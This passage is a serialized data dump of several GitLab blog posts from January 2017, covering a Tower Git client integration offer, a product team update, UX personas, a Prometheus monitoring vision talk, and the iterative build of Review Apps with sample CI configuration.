Gke","en-us/blog/video-tutorial-idea-to-production-on-google-container-engine-gke.yml","en-us/blog/video-tutorial-idea-to-production-on-google-container-engine-gke",{"_path":36544,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36545,"content":36551,"config":36555,"_id":36557,"_type":16,"title":36558,"_source":17,"_file":36559,"_stem":36560,"_extension":20},"/en-us/blog/gitlab-tower-integration-coupon-code",{"title":36546,"description":36547,"ogTitle":36546,"ogDescription":36547,"noIndex":6,"ogImage":36548,"ogUrl":36549,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36549,"schema":36550},"Tower launches GitLab integration on Windows","Windows users can now manage their GitLab accounts right within Tower – give it a try with 20% off.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671402/Blog/Hero%20Images/gitlab-tower-integration-puzzle.jpg","https://about.gitlab.com/blog/gitlab-tower-integration-coupon-code","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tower launches GitLab integration on Windows\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-01-20\",\n      }",{"title":36546,"description":36547,"authors":36552,"heroImage":36548,"date":36553,"body":36554,"category":299},[19026],"2017-01-20","\n\n[Tower](http://www.git-tower.com), the popular Git desktop client for Mac, has now launched integration with GitLab for Windows, making repository management and undoing mistakes a breeze, helping you and your team to work more efficiently. To celebrate, they're offering 20% off your order until February 15th.\n\n\u003C!-- more -->\n\nThis highly anticipated integration has been a popular request from Tower users and is something the Tower team has always wanted to provide themselves, explains Tower founder, [Tobias Günther](https://gitlab.com/tobidobi). GitLab VP of Product [Job van der Voort](https://gitlab.com/JobV) says, \"I’ve been a fan of Tower for many years on the Mac, so I’m very excited for Tower to bring both their great client-side app and GitLab integration to Windows.\"\n\nHere are some of the great ways this tight integration can help you:\n\n## Tower feature highlights\n\n### Services Manager\n\nManage your GitLab account right within Tower on Windows, and you can clone repositories with a single click – avoiding the hassle of usernames, passwords and authentication tokens.\n\n### Productivity boosters\n\nWork more quickly with productivity-enhancing features: automatic fetching from remote servers helps your team stay up to date and automatic stashing asks you at the right time if you want local changes on a Stash to avoid problems.\n\n### Undo and Conflict Wizard\n\nRoll back to previous versions, discard local changes, revert to an old revision... there are plenty of ways you can undo mistakes. The unique \"Conflict Wizard\" helps to resolve merge conflicts in a visual way.\n\n![Tower Conflict Wizard](https://about.gitlab.com/images/blogimages/conflict-wizard@2x.png){: .shadow}\n\n### Beginner features\n\nWith Tower you can see what you are doing and what changes are taking place without relying on the command line. Take advantage of learning resources including a video series, e-book and extensive documentation to help you learn Git.\n\n### Features for pros\n\nDiscard single lines of code, cherry-pick individual commits, and enjoy extensive support for Submodules and git-flow.\n\nReady to try out Tower with GitLab? Redeem this [coupon code](http://www.git-tower.com/buy?coupon=GITLAB20) to receive 20% off your order until 17/02/15.  \n\n_Tweet us [@GitLab](https://twitter.com/gitlab), check out our [job openings](/jobs/), or add your questions and suggestions to our [issue tracker](https://gitlab.com/gitlab-org/gitlab-ce/issues)!_\n\nImage: \"[Puzzle](https://www.flickr.com/photos/sterlic/4458413554)\" by [Scott Akerman](https://www.flickr.com/photos/sterlic/) is licensed under [CC BY 2.0](https://creativecommons.org/licenses/by/2.0/)\n{: .note}\n",{"slug":36556,"featured":6,"template":678},"gitlab-tower-integration-coupon-code","content:en-us:blog:gitlab-tower-integration-coupon-code.yml","Gitlab Tower Integration Coupon Code","en-us/blog/gitlab-tower-integration-coupon-code.yml","en-us/blog/gitlab-tower-integration-coupon-code",{"_path":36562,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36563,"content":36568,"config":36572,"_id":36574,"_type":16,"title":36575,"_source":17,"_file":36576,"_stem":36577,"_extension":20},"/en-us/blog/product-update",{"title":36564,"description":36565,"ogTitle":36564,"ogDescription":36565,"noIndex":6,"ogImage":12013,"ogUrl":36566,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36566,"schema":36567},"Functional Group Update: Product","Watch the recording from our Product team update.","https://about.gitlab.com/blog/product-update","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Functional Group Update: Product\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Erica Lindberg\"}],\n        \"datePublished\": \"2017-01-19\",\n      }",{"title":36564,"description":36565,"authors":36569,"heroImage":12013,"date":36570,"body":36571,"category":299},[28961],"2017-01-19","\n\nAs a remote-only company, we have to be incredibly intentional about how we communicate\nwith each other. One of the ways we keep each other informed and maintain transparency\nacross the company is through our functional group updates.\n\nYou can watch the functional group update from our Product team below.\n\n\u003C!-- more -->\n\n\u003Cfigure>\n  \u003Ciframe width=\"800\" height=\"480\" src=\"https://www.youtube.com/embed/UsQwW64Vy8A\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n\u003C/figure>\n",{"slug":36573,"featured":6,"template":678},"product-update","content:en-us:blog:product-update.yml","Product Update","en-us/blog/product-update.yml","en-us/blog/product-update",{"_path":36579,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36580,"content":36586,"config":36590,"_id":36592,"_type":16,"title":36593,"_source":17,"_file":36594,"_stem":36595,"_extension":20},"/en-us/blog/the-importance-of-ux-personas",{"title":36581,"description":36582,"ogTitle":36581,"ogDescription":36582,"noIndex":6,"ogImage":36583,"ogUrl":36584,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36584,"schema":36585},"Why we use personas in product development","Our User Experience (UX) Researcher explains what personas are and how they change the way teams work","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683959/Blog/Hero%20Images/the-importance-of-ux-personas.jpg","https://about.gitlab.com/blog/the-importance-of-ux-personas","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we use personas in product development\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sarah O’Donnell\"}],\n        \"datePublished\": \"2017-01-09\",\n      }",{"title":36581,"description":36582,"authors":36587,"heroImage":36583,"date":36588,"body":36589,"category":734},[28658],"2017-01-09","\n\nWhen developing a product, it’s easy to assume that users are just like ourselves. If we rely on our assumptions to lead what and how we develop, there is a risk of creating a product that may only work for a segment of users. A more analytical approach is necessary for understanding the needs of all users, which is paramount to successful user experience (UX).\n\n\u003C!--more-->\n\nEvery month, we piece together the jigsaw of new features and design tweaks, and all the tools that ship with GitLab, ensuring that each change fits within our vision and understanding of user needs. To help with this task, we're developing personas that will allow us to relate to different types of users and subsequently predict their behavior. This is essential for our key challenge of creating a unified experience for teams big and small, so they can stay focused on their own goals. In this post, I'll explore some of the reasons to use personas in product development.\n\n## What is a persona?\n\nPersonas are fictional characters created to represent the major needs and expectations of the different types of users that use a website, product or service. A persona typically has a name, a picture, and a background, along with demographic information such as age, highest level of education and work experience.\n\nImagine the last time you were engrossed in a television series. It’s likely that you connected with one or more of the leading characters because you could understand - and on some level, relate to - their emotions, responses and actions in a given situation. You probably discussed the television series with a friend and together, you may have guessed at future plot lines based on the events that had occurred so far in the series. Personas work in a similar way.\n\n## What can personas reveal?\n\n A good persona generates empathy for users by putting a “human face” on data. Its aim is to summarize and share research findings with anybody contributing towards the success of the product. It’s easier for an individual (regardless of their job title) to understand a persona that collectively represents the motivations, frustrations and goals of thousands of users, than it is to trawl through days, or even months' worth, of research findings.\n\n Personas provide a clear understanding of why and how a person is using your product, and documents any pain points they experience, both in the context of using the product and the environment in which the product is used. Finally, it summarizes their goals: what do they hope to solve or achieve by using your product? This information is normally collected by using both qualitative (surveys, user interviews, etc.) and quantitative research techniques (web analytics). While a persona itself is fictional, it is formed using factual data to provide a realistic model of user needs.\n\n## How do personas change the way teams work?\n\n Personas promote further discussions within a team about how a user would interact with a proposed idea. By internalizing the user, we adopt their mentality and form solutions based on what’s best for the user and their given situation.\n\n By defining personas, there is a well-documented, clear focus on who the product is for, which stops users’ needs from being altered to suit an idea or concept. A product manager may use personas to validate and prioritize features, whereas a designer may use them to determine the overall visual style of a product. When everybody within a team has a shared understanding of users, disagreements surrounding product development are reduced, as there is greater consensus about what is right for users.\n\n## What is the state of personas at GitLab?\n\nAt GitLab, we are in the early stages of discovering who our personas are. If you want to make sure that your needs and expectations as a user are met, then you can help us by completing our survey (survey now closed) and sharing your views.\n\nThe qualitative data from this survey will be analyzed and categorized by coding similar responses. A code is a word or short phrase that describes a respondent’s answer, and serves to condense the information collected into key themes and topics. We'll use statistical analysis to summarize and describe the quantitative data (close-ended questions) in the survey, and we can interpret the collective findings to form a basis for our personas.\n\nBecause it has some limitations, we interpret survey data alongside user interviews and web analytics. This helps us compare findings and make the strongest conclusions possible. We're looking forward to learning about how you use GitLab!\n\n_Tweet [@GitLab](https://twitter.com/gitlab) and check out our [job openings](/jobs/)._\n\n",{"slug":36591,"featured":6,"template":678},"the-importance-of-ux-personas","content:en-us:blog:the-importance-of-ux-personas.yml","The Importance Of Ux Personas","en-us/blog/the-importance-of-ux-personas.yml","en-us/blog/the-importance-of-ux-personas",{"_path":36597,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36598,"content":36604,"config":36608,"_id":36610,"_type":16,"title":36611,"_source":17,"_file":36612,"_stem":36613,"_extension":20},"/en-us/blog/prometheus-and-gitlab",{"title":36599,"description":36600,"ogTitle":36599,"ogDescription":36600,"noIndex":6,"ogImage":36601,"ogUrl":36602,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36602,"schema":36603},"Prometheus and GitLab","Completing the application lifecycle with monitoring","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677903/Blog/Hero%20Images/data.png","https://about.gitlab.com/blog/prometheus-and-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Prometheus and GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Pundsack\"}],\n        \"datePublished\": \"2017-01-05\",\n      }",{"title":36599,"description":36600,"authors":36605,"heroImage":36601,"date":36606,"body":36607,"category":299},[26026],"2017-01-05","\n\nA little while ago, we presented a first draft of our vision for monitoring within GitLab. We [value transparency](https://handbook.gitlab.com/handbook/values/), so see below for the recorded video and transcript of the presentation, or view the [slides](https://docs.google.com/presentation/d/12SDArWFfr8fGOZEOqUOwn7NMwfuGKBeS1KLJxtBVyMM/edit?usp=sharing) directly. Please do give us your feedback on any of the linked issues!\n\n\u003C!-- more -->\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/NFPGtbQfL1A\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## GitLab monitoring vision 0.1\n\nThanks everyone for joining. Just to level set: This call is to go over a first draft of our vision for monitoring within GitLab. A version 0.1 of the vision, if you will. I’m presenting it so Sid and others can ask questions and critique it, and to share more broadly. If you’re looking for a polished presentation about a well-defined product, this is the wrong place. :)\n\nI’ll start by talking about a potential minimum viable product (MVP), and then discuss future directions, and finally open it up to Q&A.\n\nAnd if you want to play along at home, here’s a link to your personalized [buzzword bingo card](http://bit.ly/2hP4xTn) for the presentation.\n\n## Minimum Viable Product (MVP)\n### Use Prometheus to monitor GitLab installation\n\nSo the first step is to add [Prometheus](https://prometheus.io/) to monitor GitLab installations themselves. I won’t go into details here; and I believe [Pablo will be giving a talk about how we’re using it](https://gitlab.com/gitlab-com/marketing/issues/594). But in short, Prometheus is an open source monitoring solution. We’ve been using it internally here, and we’re going to bundle it up with GitLab CE so you can use it to monitor your own instances of GitLab.\n\nMeta issue: [gitlab-com/infrastructure/issues/589](https://gitlab.com/gitlab-com/infrastructure/issues/589)\n\nRelated issues:  \n1. [Expose service metrics via Prometheus](https://gitlab.com/gitlab-org/gitlab-workhorse/issues/61)\n1. [Monitor CI end to end with prometheus](https://gitlab.com/gitlab-com/infrastructure/issues/543)\n1. [Build public monitoring infrastructure](https://gitlab.com/gitlab-com/infrastructure/issues/414)\n1. [Bundle Prometheus with GitLab CE](https://gitlab.com/gitlab-org/omnibus-gitlab/issues/1481)\n1. [Build High Available (Federated) prometheus monitoring solution](https://gitlab.com/gitlab-com/infrastructure/issues/760)\n\nHere’s a couple screenshots I cribbed from some of those issues. Again, I’m not going to go into detail here. These are fairly traditional, if not ugly, dashboards using Prometheus and Grafana.\n\n![Sidekiq stats](https://about.gitlab.com/images/blogimages/monitoring/sidekiq-stats.png){: .shadow}\n\n![CPU Usage](https://about.gitlab.com/images/blogimages/monitoring/cpu-usage.png){: .shadow}\n\n## MVP+3\n\n### Web application monitoring\n\nI kind of tongue-in-cheek called this MVP+3, but after some number of iterations, the next **major** step is to [use Prometheus to monitor end-user applications](https://gitlab.com/gitlab-org/gitlab-ce/issues/23841). Ideally, providing a [New Relic](https://newrelic.com/)-like experience. Maybe it’s more accurate to say [Heroku-like monitoring](https://devcenter.heroku.com/articles/metrics) experience. New Relic does TONS of things we won’t touch for a long time, if ever. I believe there’s always a place for dedicated monitoring solutions that go deep. Our unique value won’t be in the deepness of the monitoring, it’ll be in the integration of monitoring into the rest of the experience. That may not be apparent in the initial release, but will show up later.\n\nMVP focuses on:\n* Limit to applications on Kubernetes\n* Response: Throughput, latency, errors\n* Resource: CPU, Memory, I/O\n\nInitially we’ll focus on Kubernetes because that’s where we’re placing a few bets and installing Prometheus into every permutation of hardware is just too much to tackle. So to keep scope smaller, we’ll focus on Kubernetes.\n\nWe’ll start by measuring throughput, latency (or response time), and error rates. I’m calling this response monitoring, and it’s the highest value we can deliver that works for monitoring any web stack.\n\nBut measuring resources such as CPU, memory, and I/O might be easier for an MVP, so I’m keeping that open. Kubernetes may make some parts of that easier, but others harder. I don’t believe we should do all of this for an MVP, so my preference would be the web response side of things. The thinking goes: if one of the resources are constrained, say memory is entering swap too much, then that will show up as latency in the system. So I’d rather observe the material impact to the user directly. Unfortunately that means you don’t see anything until it’s already an impact. And knowing that latency is bad or error rates are up doesn’t help you debug the situation. That’s where resource monitoring can be useful. But still, as a first step, I want to know how my users are impacted and THEN find a way to debug it, at which point I may very well fire up New Relic to do more powerful analysis.\n\n### Monitoring alert on merge request\n\nSo to show how we’re thinking of integrating monitoring, here’s a merge request, that has already been merged and deployed to production. Because we’ve got monitoring, GitLab noticed that memory usage increased right after the deploy, so we get a message right on the merge request.\n\n![Monitoring alert on merge request](https://about.gitlab.com/images/blogimages/monitoring/merge-request__performance--inline-v03.png){: .shadow}\n\nLet’s zoom in a little more. We see the alert, plus some summary information, telling you the memory usage increased from 114MB to 127MB, and a little spark line so you can see it graphically. Maybe we’d add a percent increase to make it more concrete. Of course, we’d also send an email notification of this alert, to the author of the actual changes about the impact. That way, this isn’t just an ops problem, the person or people most likely to be able to deal with it know as soon as possible.\nNow let’s click through and see more details.\n\n### Monitoring dashboard\n\nSo now we see something a little more traditional. This is an early mockup of how a monitoring dashboard could appear. Note even in this early stage, we’ve got lines showing when deploys happened, to help identify code changes that impacted performance. Maybe hovering over them would show a list of merge requests that were included in that deploy.\n\n![Monitoring dashboard](https://about.gitlab.com/images/blogimages/monitoring/environments__monitoring.png){: .shadow}\n\nThis dashboard would be available for all of your environments: production, staging, and review apps. Or maybe you’d only want to install it for production environments. I’m not sure yet.\nThe point is that monitoring is an essential part of environments, deployments, and MRs.\n\n### Deployment history\n\nThis is a screenshot cribbed from New Relic, but I could imagine some of this information show up on our deployment history pages.\n\n![Deployment history](https://about.gitlab.com/images/blogimages/monitoring/deploy-history-e747cf6fa6b33dd414e8099294091dca.png){: .shadow}\n\n## Future\n\n### Monitoring++\n* Response monitoring (throughput, latency, errors)\n* Resource monitoring (CPU, memory, IO)\n* [Status monitoring](https://gitlab.com/gitlab-org/gitlab-ce/issues/25555) (e.g. Pingdom, up/down/uptime, bad MR)\n* Application performance monitoring (APM) (stack-aware, endpoint-aware, code-aware, db-aware)\n* End-user experience monitoring (measured at the browser)\n* User metrics/analytics (e.g. clicks, flows, funnels, a/b testing)\n* User-defined / business metrics (signups, conversions, revenue)\n* Integrated deeply, across the developer experience\n\nSo the future holds an infinite set of possibilities, but I’ll talk about a few directions I’d like to consider moving into.\n\nFirst, there’s more to flesh out in response and resource monitoring, covering whatever we don’t ship in the MVP, and going beyond.\n\nThen there’s status monitoring. Think [Pingdom](https://www.pingdom.com/), which tracks whether your app is responding to a certain HTTP request to know if it’s “up” or “down”, and then alerting on that, and reporting uptime. The linked issue describes an MVP that just checks a URL after each deploy to see if your merge request borked the server or not. I have no idea yet what role Prometheus may play here.\n\nThen there’s the broader application performance monitoring, which really is a superset of these other pieces, but I’m breaking it out to differentiate monitoring that usually requires your code to be instrumented with a client library installed in your application; like a Gem file or an npm module. Generally, it’s language, framework, and stack aware, can analyze code paths, and even profile database SQL queries.\n\nThe next level most APM companies go to is end-user experience monitoring; measuring latency at the browser so it includes the entire trip over the interwebs, and including the time to finish asynchronously loading all Javascript and actually rendering the web page. This gives a truer, and often much scarier, view of the performance of your app.\n\nThen there’s user metrics/analytics. Clicks, flows, and funnels.\n\nLastly, we’ve got user-defined or business metrics like signups, conversions, revenue, or really any action that you determine is important for your business success, or just fun to watch.\n\nNow, I’ve pretty much just defined the entirety of several monitoring industries. Obviously we’re unlikely to be best-of-breed in all of these. At least not in the next release or two. So again, the focus really is how we can provide the biggest bang-for-buck, the 20% effort that delivers 80% of the value, and really leverage our unique value, and that’s in our deep integration; making everything easier to use because it’s already there, and more impactful because it’s integrated across the experience. Anyone can show a graph of performance, where you can see that deploy 123 of merge request XYZ caused a problem, but alerting right on the merge request itself, right after deploying it, and emailing the authors of the actual changes about their impact, well, that’s just the tip of the iceberg of how monitoring could permeate the developer experience.\n\n### Deploy monitoring\n* Track status of deploy from start to finish\n* Finer state detail (ready, preparing, waiting, deploying, finished, failed)\n* Aware of rollout across multiple containers/servers\n* Ability to abort a deploy\n\nNow let’s go in a different direction and talk about something I’m calling [deploy monitoring](https://gitlab.com/gitlab-org/gitlab-ce/issues/21413).\nDeploys aren’t just binary pass/fail, and they’re not instantaneous, but we currently kinda treat them as if they’re both. Deploys can take significant time, going through many different states, and across many containers or servers. Being able to track and debug that complexity is pretty important, especially for larger organizations.\n\n### Deployboard\n\nSo here’s an early mockup of how we could integrate this information into our environment view.\n\n![Deployboard](https://about.gitlab.com/images/blogimages/monitoring/environments__deploy-graphic.png){: .shadow}\n\nOn staging, you see that the last deployment finished, but production has a deployment that is ongoing. Each square represents a container, managed by Kubernetes. Hovering over each one shows the server name and it’s current status. Clicking through might show more details about that container. Since this is the environment list, we also see our review apps, but we’ve hidden the deploy status by default since it’s less important for review apps. For any of these environments, you can click through to the monitoring dashboard I already showed.\n\n### Deploy monitoring++\n* Notify authors of MRs that their changes are now live or in staging\n\nNow deploy monitoring is a rich area with lots of opportunities for growth. Here’s an image from someone else’s Deployboard that shows a Slack notification of a staging deploy, and @ mentioning everyone with code in that change.\n\n![Deployboard notification](https://about.gitlab.com/images/blogimages/monitoring/deployboard_notification.png){: .shadow}\n\nHere are some other ideas I want to explore:\n\n* Incremental rollouts (deploy to 10 containers at a time)\n* Canary deploys (deploy 10 containers, then wait for stats or manual tests)\n* Blue/green deploys\n\nFirst is incremental rollouts where you deploy new code in batches. Say if you’ve got 100 containers to roll, you’d deploy 10 containers at a time, in 10 batches, until all 100 are done.\n\nClosely related to that is a canary deploy, where you deploy to a few containers, and then stop while you wait some period of time for performance statistics to prove that there are no problems. Maybe even do some manual tests on those containers, although really that should have been done in staging.\n\nAnd then there’s blue/green deploy, which has a few definitions, but the one I’m using here is where you have all your traffic going to one fleet of containers or servers, call that the blue fleet. Then you start deploying new code to a green fleet, but don’t send any traffic to it. When the green fleet is up and ready, then you cut over the router to suddenly send all traffic to the green fleet and the blue fleet goes idle. You could leave that blue fleet running in case you need to immediately revert. It’s much faster to switch a router over rather than wait for all servers to deploy again. If you’re using physical servers, these fleets may be permanent, meaning you’ve got to have twice the computing capacity at any time. If they’re containers, you can bring down the idle fleet after some time and then just spin it up again when you do the next deploy.\n\nBut again, these are standard deploy strategies that companies already use. Of course we want to support these best practices, but our challenge will be to integrate these closely into GitLab to deliver even more value from the integrated whole. Integrating deploy strategies with monitoring and our knowledge of the codebase, merge requests, and issues. Maybe an alert of a performance problem automatically generates a new issue labeled appropriately and assigned to the right person so it shows up in their todos.\n\n### Feature flags\n* Decouple deployment from delivery\n* In-code flag to execute one path or another based on externally controllable settings\n* Binary switch\n* Incremental (%) rollout\n* Named group (internal, beta)\n\nI’m going to go off on a tangent for a moment and talk about [Feature Flags](http://martinfowler.com/bliki/FeatureToggle.html).\nFeature flags allow developers to decouple deployment from delivery while reducing risk. It’s usually an in-code mechanism, like an if statement, to conditionally execute one path or another based on externally controllable settings such as a simple all-or-nothing binary switch, or a more complex incremental rollout based on percentages, like turning it on for 10% of your users, or involving named groups like company internal, or a \"beta” group.\nWith feature flags, code can be deployed into production while the feature is still turned off.\n\nMy ideal rollout is something like:\n* Dev team that created it ->\n* internal alpha (all employees minus those giving customer-facing demos) ->\n* select beta (~200 people that signed up for this specific feature) ->\n* private beta (~1000 people that signed up for general beta) ->\n* public beta ->\n* 10% rollout ->\n* GA\n\nFeatures can then be rolled out to internal users, beta users, a percentage of production users, and then to everyone in ever-increases spheres.\nThis help facilitate healthy real-world testing, restricting risk to affect only beta customers rather than everyone, for example, so that you get feedback earlier in the development cycle. Validate your ideas quickly.\nIt also helps stay true to the premise of continuous integration which is that everything is checked into master often and deployed right away. This reduces deployment risk.\n\n* Feature Flags as first-class citizens\n* Compare flag states across environments (e.g. staging has X, which is not yet enabled on production)\n\nI'd like to see us work [feature flags into GitLab](https://gitlab.com/gitlab-org/gitlab-ee/issues/779) in a first-class way. To be honest, I really don’t know how to do that. But I know I’d like to visually see, at a glance, which features are in private beta, for example. If a product manager tries to turn a feature on for general availability, they’ll be subtly reminded that they should consider going through private beta first. Companies should be able to set a rollout policy of what percentages things should go through at each stage.\nIf done right, it’ll encourage a good rollout process, and make it trivially easy for users to follow the flow, every time.\n\n![User flags](https://about.gitlab.com/images/blogimages/monitoring/user-flags.png){: .shadow}\n\n### Feature monitoring\nNow to bring this back to monitoring, feature flags are another rollout mechanism, similar to some of the deployment strategies. So we should be able to [monitor these](https://gitlab.com/gitlab-org/gitlab-ce/issues/24254), showing some analysis/graphing on them.\nPerhaps it’s a simple list of features and summary statistics about them indicating if they're performing as expected. Like:\n* Feature X, rolled out to beta, decreased response time by 5%\n* Feature Y, rolled out to 10%, increased conversion by 25%\n\nThe good thing is that since feature flags often run in parallel, so you’ve got some users with the flag and some users without, you can more accurately determine the performance or other impact. You don’t have to rely on point-in-time changes, like looking at memory before and after a deploy.\n\nAnd it’s quite possible to have multiple flags at the same time, all at different rollout stages. With a deploy, which ships everything in master at once, if there’s a problem with one merge request 25 commits ago, you’ve got to rollback the entire stack until that change is gone. But feature flags are decoupled so if there’s a problem in an individual feature, you can just scale it down to zero without affecting any other feature, and without requiring a lengthy deploy process.\n\nAnother side note, since deployment strategies and feature flags are somewhat advanced topics that currently take quite a commitment to implement, most companies only focus on one of these strategies. If you work on feature flags, you’re not likely to bother with canary deploys, for example. But each tool has their sweet spot of value. Memory problems aren’t likely to show up using feature flags since memory is a system resource that’s really hard to pin down to a specific user. But error rates or conversion metrics are great for this. If we do a great job here, maybe people won’t have to be so stingy on their choice of tools.\n\n### Q&A\n\nAnd with that, I’d like to thank you all for listening, and open it up to questions.\n\n",{"slug":36609,"featured":6,"template":678},"prometheus-and-gitlab","content:en-us:blog:prometheus-and-gitlab.yml","Prometheus And Gitlab","en-us/blog/prometheus-and-gitlab.yml","en-us/blog/prometheus-and-gitlab",{"_path":36615,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36616,"content":36621,"config":36625,"_id":36627,"_type":16,"title":36628,"_source":17,"_file":36629,"_stem":36630,"_extension":20},"/en-us/blog/behind-the-scenes-how-we-built-review-apps",{"title":36617,"description":36618,"ogTitle":36617,"ogDescription":36618,"noIndex":6,"ogImage":14458,"ogUrl":36619,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36619,"schema":36620},"Behind the scenes: How we built Review Apps","GitLab's Head of Product shares an inside look at iterating on one of our latest features","https://about.gitlab.com/blog/behind-the-scenes-how-we-built-review-apps","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Behind the scenes: How we built Review Apps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Pundsack\"}],\n        \"datePublished\": \"2017-01-04\",\n      }",{"title":36617,"description":36618,"authors":36622,"heroImage":14458,"date":36623,"body":36624,"category":734},[26026],"2017-01-04","\n\nA bunch of us on the GitLab team have known for a while just how important review apps are. Even though this wasn’t something that a lot of customers asked for, we knew we had to tackle it because of how we'd seen it transform a developer's flow. We also knew that tightly integrating it into GitLab would make it even better. Although our aspirations for the feature started out gigantic and magical, we ultimately constrained them to the practical and concrete. Here's a behind-the-scenes look at how we iterated and shipped [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/) over the last 3 releases.\n\n\u003C!-- more -->\n\nFull disclosure: I used to work at Heroku on the team that shipped [Heroku Review Apps](https://devcenter.heroku.com/articles/github-integration-review-apps), and some of that work was inspired by a tool called [Fourchette](https://github.com/rainforestapp/fourchette), which was created by the great folks at [Rainforest QA](https://www.rainforestqa.com/). Even outside of my personal bias, our CEO, CI Lead and others had seen things like this elsewhere and saw how transformative it could be.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/CteZol_7pxo?start=1713\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nThere are a ton of different ways we could have shipped it. We started months ago, mostly discussing asynchronously on GitLab issues, with big ideas that made Review Apps seem kind of daunting. We had ideas for black magic to detect Kubernetes settings, configure all the review app stuff for you, make them work only for merge requests rather than for every branch, etc. It felt like something that might not ship for months, if not years, because of all the complexity and dependencies.\n\nBut then a few of us got together to see how we could simplify, starting with a written proposal, then collaborating in a Google Doc, then a live chat over Google Hangouts, and we came up with what we felt would be the smallest thing we could do to enable the functionality. We shared that proposal back on the public issue. After a couple days, we pushed it even further and really cut the scope.\n\nHere are a few links to some of the issues we went through, starting with a large meta issue, down to a concrete proposal and then counterproposal, until finally, the winning proposal emerged:\n\n* [#3286](https://gitlab.com/gitlab-org/gitlab-ce/issues/3286) - [Epic] GitLab Deploy, _opened 1 year ago_\n* [#14698](https://gitlab.com/gitlab-org/gitlab-ce/issues/14698) - Container scheduler for 4 use cases, _9 months ago_\n* [#20255](https://gitlab.com/gitlab-org/gitlab-ce/issues/20255) - [Meta] Review Apps, _5 months ago_\n* [#20054](https://gitlab.com/gitlab-org/gitlab-ce/issues/20054) - Review Apps as Runner job, _5 months ago_\n* [#21411](https://gitlab.com/gitlab-org/gitlab-ce/issues/21411) - How do we do deploys, _4 months ago_\n* [#21971](https://gitlab.com/gitlab-org/gitlab-ce/issues/21971) - Dynamic environments aka Review Apps, _3 months ago_\n\n## 8.12\n\nWe initially offered experimental support for Review Apps in GitLab 8.12. At that point, we had reduced it to just one or two seemingly small changes to the `.gitlab-ci.yml` format. Specifically, we let you specify the URL of an environment in `.gitlab-ci.yml` (rather than just in the web UI), and we let you use variables within the environment name and URL. Trivial, right? One extra keyword and another small change enabled environments to now be “dynamic,” which is the core of Review Apps.\n\n```yaml\nreview_apps:\n  environment:\n    name: review/$CI_BUILD_REF_NAME\n    url: http://$CI_BUILD_REF_NAME.review.gitlab.com/\n```\n\n## 8.13\n\nThen in 8.13 we implemented another key piece: the ability to delete or stop apps. Again, there were all sorts of complex ideas for how to solve this, but we settled on the smallest change possible that enabled the feature. In this case, that was reusing our existing concept of manual actions, or jobs that run in a pipeline only when a user triggers them manually from the web UI. So we said, if you can script how to delete your app, just create a manual action job for it. Then we added a new keyword in `.gitlab-ci.yml` so you could identify which of these jobs stopped the environment, and we displayed a different UI for that - now you get a little square stop button instead of the triangle play button. Again, pretty trivial.\n\n```yaml\nreview:\n  environment:\n    name: review/$app\n    on_stop: stop_review\n\nstop_review:\n  script: echo Delete My App\n  when: manual\n  environment:\n    name: review/$app\n    action: stop\n```\n\n## 8.14\n\nMost recently, in the 8.14 release, we made it so that we automatically detect when a branch is deleted, and run that manual action automatically for you. We also realized that with tons of Review Apps, your environments list might get unmanageable. To mitigate this, we came up with the convention that if you named your review app starting with a common name and then a slash, we’d treat that like a folder by which to group your apps, so the interface can show a bunch of Review Apps behind a collapsed folder. Once again, these are relatively small changes.\n\n* Auto-stop on branch delete\n* Folders in environment list\n\n## Wrap up\n\nUltimately this really complex, life changing feature was broken down into 3 releases of the minimal viable change.\n\nWhile we say Review Apps is now complete, it’s not finished. In fact, we have a saying that nothing is ever finished because we’re always looking for the minimal change, and then iterating. By shipping smaller pieces, we not only deliver faster, but we learn from what’s been shipped, and then iterate smarter.\n\nWe’ve now got follow-on issues to look at simplifying the `.gitlab-ci.yml` syntax for Review Apps, and even adding back some of that magic we originally envisioned. We’ll continue to iterate, and your feedback is key to us shipping better.\n\n* [#25138](https://gitlab.com/gitlab-org/gitlab-ce/issues/25138) - Simplify `.gitlab-ci.yml` syntax for stopping Review Apps\n* [#24197](https://gitlab.com/gitlab-org/gitlab-ce/issues/24197) - Smart deploy\n* [#23580](https://gitlab.com/gitlab-org/gitlab-ce/issues/23580) - Auto deploy\n\n_Tweet us [@GitLab](https://twitter.com/gitlab), check out our [job openings](/jobs/), or add your questions and suggestions to our [issue tracker](https://gitlab.com/gitlab-org/gitlab-ce/issues)!_\n",{"slug":36626,"featured":6,"template":678},"behind-the-scenes-how-we-built-review-apps","content:en-us:blog:behind-the-scenes-how-we-built-review-apps.yml","Behind The Scenes How We Built Review 